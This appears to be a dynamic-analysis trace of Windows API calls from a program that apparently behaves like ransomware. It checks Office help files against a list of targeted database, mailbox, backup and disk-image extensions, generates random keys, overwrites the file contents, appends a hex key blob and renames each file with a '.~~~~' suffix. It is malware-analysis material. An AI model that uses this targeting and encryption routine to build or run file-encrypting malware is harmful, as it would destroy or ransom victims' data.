	[0080.801] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.801] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.801] CloseHandle (hObject=0x134) returned 1
	[0080.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0080.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.~~~~")) returned 1
	[0080.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff0d0 | out: hHeap=0x300000) returned 1
	[0080.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.802] GetLastError () returned 0x0
	[0080.802] RtlWakeConditionVariable () returned 0x365f70
	[0080.802] GetCurrentThreadId () returned 0xaf0
	[0080.802] GetCurrentThreadId () returned 0xaf0
	[0080.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
	[0080.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff2a0 | out: hHeap=0x300000) returned 1
	[0080.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280beb0 | out: hHeap=0x300000) returned 1
	[0080.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff2a0
	[0080.802] lstrlenW (lpString=".scr") returned 4
	[0080.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".scr") returned 0x0
	[0080.802] lstrlenW (lpString=".cmd") returned 4
	[0080.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".cmd") returned 0x0
	[0080.802] lstrlenW (lpString=".dll") returned 4
	[0080.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dll") returned 0x0
	[0080.803] lstrlenW (lpString=".bat") returned 4
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".bat") returned 0x0
	[0080.803] lstrlenW (lpString=".cpl") returned 4
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".cpl") returned 0x0
	[0080.803] lstrlenW (lpString=".sys") returned 4
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".sys") returned 0x0
	[0080.803] lstrlenW (lpString=".msc") returned 4
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".msc") returned 0x0
	[0080.803] lstrlenW (lpString=".com") returned 4
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".com") returned 0x0
	[0080.803] lstrlenW (lpString=".lnk") returned 4
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".lnk") returned 0x0
	[0080.803] lstrlenW (lpString=".msp") returned 4
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".msp") returned 0x0
	[0080.803] lstrlenW (lpString=".pif") returned 4
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".pif") returned 0x0
	[0080.803] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0080.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.804] lstrlenW (lpString=".sqb") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".sqb") returned 0x0
	[0080.804] lstrlenW (lpString=".ost") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".ost") returned 0x0
	[0080.804] lstrlenW (lpString=".txt") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".txt") returned 0x0
	[0080.804] lstrlenW (lpString=".mdt") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".mdt") returned 0x0
	[0080.804] lstrlenW (lpString=".BDB") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".BDB") returned 0x0
	[0080.804] lstrlenW (lpString=".eql") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".eql") returned 0x0
	[0080.804] lstrlenW (lpString=".DBF") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DBF") returned 0x0
	[0080.804] lstrlenW (lpString=".EQL") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".EQL") returned 0x0
	[0080.804] lstrlenW (lpString=".FDB") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".FDB") returned 0x0
	[0080.804] lstrlenW (lpString=".EDB") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".EDB") returned 0x0
	[0080.804] lstrlenW (lpString=".DACPAC") returned 7
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DACPAC") returned 0x0
	[0080.804] lstrlenW (lpString=".VHD") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".VHD") returned 0x0
	[0080.804] lstrlenW (lpString=".DBV") returned 4
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DBV") returned 0x0
	[0080.804] lstrlenW (lpString=".dacpac") returned 7
	[0080.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dacpac") returned 0x0
	[0080.805] lstrlenW (lpString=".sdf") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".sdf") returned 0x0
	[0080.805] lstrlenW (lpString=".accdb") returned 6
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".accdb") returned 0x0
	[0080.805] lstrlenW (lpString=".DBX") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DBX") returned 0x0
	[0080.805] lstrlenW (lpString=".MDT") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".MDT") returned 0x0
	[0080.805] lstrlenW (lpString=".SQB") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".SQB") returned 0x0
	[0080.805] lstrlenW (lpString=".vhd") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".vhd") returned 0x0
	[0080.805] lstrlenW (lpString=".bac") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".bac") returned 0x0
	[0080.805] lstrlenW (lpString=".mdf") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".mdf") returned 0x0
	[0080.805] lstrlenW (lpString=".BAK") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".BAK") returned 0x0
	[0080.805] lstrlenW (lpString=".BAC") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".BAC") returned 0x0
	[0080.805] lstrlenW (lpString=".dbs") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dbs") returned 0x0
	[0080.805] lstrlenW (lpString=".vhdx") returned 5
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".vhdx") returned 0x0
	[0080.805] lstrlenW (lpString=".NDF") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".NDF") returned 0x0
	[0080.805] lstrlenW (lpString=".dat") returned 4
	[0080.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dat") returned 0x0
	[0080.806] lstrlenW (lpString=".DBS") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DBS") returned 0x0
	[0080.806] lstrlenW (lpString=".CKP") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".CKP") returned 0x0
	[0080.806] lstrlenW (lpString=".edb") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".edb") returned 0x0
	[0080.806] lstrlenW (lpString=".PST") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".PST") returned 0x0
	[0080.806] lstrlenW (lpString=".dbf") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dbf") returned 0x0
	[0080.806] lstrlenW (lpString=".SQL") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".SQL") returned 0x0
	[0080.806] lstrlenW (lpString=".pst") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".pst") returned 0x0
	[0080.806] lstrlenW (lpString=".dbv") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dbv") returned 0x0
	[0080.806] lstrlenW (lpString=".SDF") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".SDF") returned 0x0
	[0080.806] lstrlenW (lpString=".dtxs") returned 5
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dtxs") returned 0x0
	[0080.806] lstrlenW (lpString=".db3") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".db3") returned 0x0
	[0080.806] lstrlenW (lpString=".OST") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".OST") returned 0x0
	[0080.806] lstrlenW (lpString=".dbx") returned 4
	[0080.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dbx") returned 0x0
	[0080.806] lstrlenW (lpString=".DB3") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DB3") returned 0x0
	[0080.807] lstrlenW (lpString=".DAT") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DAT") returned 0x0
	[0080.807] lstrlenW (lpString=".VHDX") returned 5
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".VHDX") returned 0x0
	[0080.807] lstrlenW (lpString=".ndf") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".ndf") returned 0x0
	[0080.807] lstrlenW (lpString=".DB") returned 3
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DB") returned 0x0
	[0080.807] lstrlenW (lpString=".sql") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".sql") returned 0x0
	[0080.807] lstrlenW (lpString=".MYD") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".MYD") returned 0x0
	[0080.807] lstrlenW (lpString=".DBT") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DBT") returned 0x0
	[0080.807] lstrlenW (lpString=".ACCDB") returned 6
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".ACCDB") returned 0x0
	[0080.807] lstrlenW (lpString=".fdb") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".fdb") returned 0x0
	[0080.807] lstrlenW (lpString=".bak") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".bak") returned 0x0
	[0080.807] lstrlenW (lpString=".myd") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".myd") returned 0x0
	[0080.807] lstrlenW (lpString=".DTXS") returned 5
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".DTXS") returned 0x0
	[0080.807] lstrlenW (lpString=".ckp") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".ckp") returned 0x0
	[0080.807] lstrlenW (lpString=".dbt") returned 4
	[0080.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".dbt") returned 0x0
	[0080.808] lstrlenW (lpString=".db") returned 3
	[0080.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".db") returned 0x0
	[0080.808] lstrlenW (lpString=".TXT") returned 4
	[0080.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".TXT") returned 0x0
	[0080.808] lstrlenW (lpString=".MDF") returned 4
	[0080.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".MDF") returned 0x0
	[0080.808] lstrlenW (lpString=".bdb") returned 4
	[0080.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".bdb") returned 0x0
	[0080.808] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.808] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.809] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.809] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.809] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20079946084) returned 1
	[0080.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a046f70, dwHighDateTime=0x1d60e1e)) 
	[0080.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280beb0
	[0080.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280beb0 | out: hHeap=0x300000) returned 1
	[0080.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.810] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.810] GetLastError () returned 0x0
	[0080.810] GetLastError () returned 0x0
	[0080.810] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.810] GetLastError () returned 0x0
	[0080.811] GetLastError () returned 0x0
	[0080.811] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x6931, lpOverlapped=0x0) returned 1
	[0080.832] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff96cf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.832] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x6931, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x6931, lpOverlapped=0x0) returned 1
	[0080.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.835] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.835] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.835] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.835] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.835] CloseHandle (hObject=0x134) returned 1
	[0080.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3fa7b0
	[0080.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.~~~~")) returned 1
	[0080.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa7b0 | out: hHeap=0x300000) returned 1
	[0080.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.839] GetLastError () returned 0x0
	[0080.839] RtlWakeConditionVariable () returned 0x365f70
	[0080.840] GetCurrentThreadId () returned 0xaf0
	[0080.840] GetCurrentThreadId () returned 0xaf0
	[0080.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
